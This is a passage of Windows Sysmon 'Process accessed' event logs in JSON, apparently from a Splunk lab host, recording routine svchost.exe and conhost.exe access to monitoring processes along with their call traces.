11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2223,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2227,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:08.640\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FF0-5F2D-0000-0010E9730300}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:08.640","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FF0-5F2D-0000-0010E9730300}","TargetProcessId":"3996","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 